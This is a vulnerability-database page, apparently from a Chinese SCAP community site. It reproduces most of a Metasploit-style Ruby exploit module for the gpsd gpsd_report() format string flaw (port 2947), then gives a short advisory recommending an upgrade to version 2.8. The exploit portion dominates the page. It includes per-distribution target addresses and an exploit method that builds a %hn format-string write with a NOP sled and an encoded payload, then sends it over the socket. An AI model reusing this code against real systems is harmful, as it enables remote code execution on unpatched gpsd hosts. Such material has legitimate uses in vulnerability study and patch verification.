				[ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
				[ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
				[ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
				[ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
				[ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
				[ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
				[ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ], 
				[ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
				[ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
				[ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ], 
				[ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
				[ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ], 
				[ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ], 

				],
			'DisclosureDate' => 'May 25 2005'))
			
			register_options( [ Opt::RPORT(2947) ], self.class )
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")
		
		offset = 17
		dump_fmt = 7
		al = 3
    
		hi = (target.ret >> 0) & 0xffff
		lo = (target.ret >> 16) & 0xffff
	
		shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
		shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)
	
		buf  = "A" * 3 + "B" * 4
		buf +=  [ target['Syslog']].pack('V')
		buf += "B" * 4
		buf +=  [ target['Syslog'] + 0x2].pack('V')
		buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
		buf += make_nops(3000) + payload.encoded

		sock.put(buf)
		
		handler
		disconnect
	end

end


    

- 漏洞信息

13199
Berlios gpsd gpsd_report() Function Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial Vendor Verified, Uncoordinated Disclosure

- 漏洞描述

A format string flaw exists in gpsd. The gpsd_report() function fails to validate string data received on TCP port 2947. With a specially crafted request, a remote attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2005-01-25 Unknow
2005-01-25 2005-01-27

- 解决方案

Upgrade to version 2.8 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站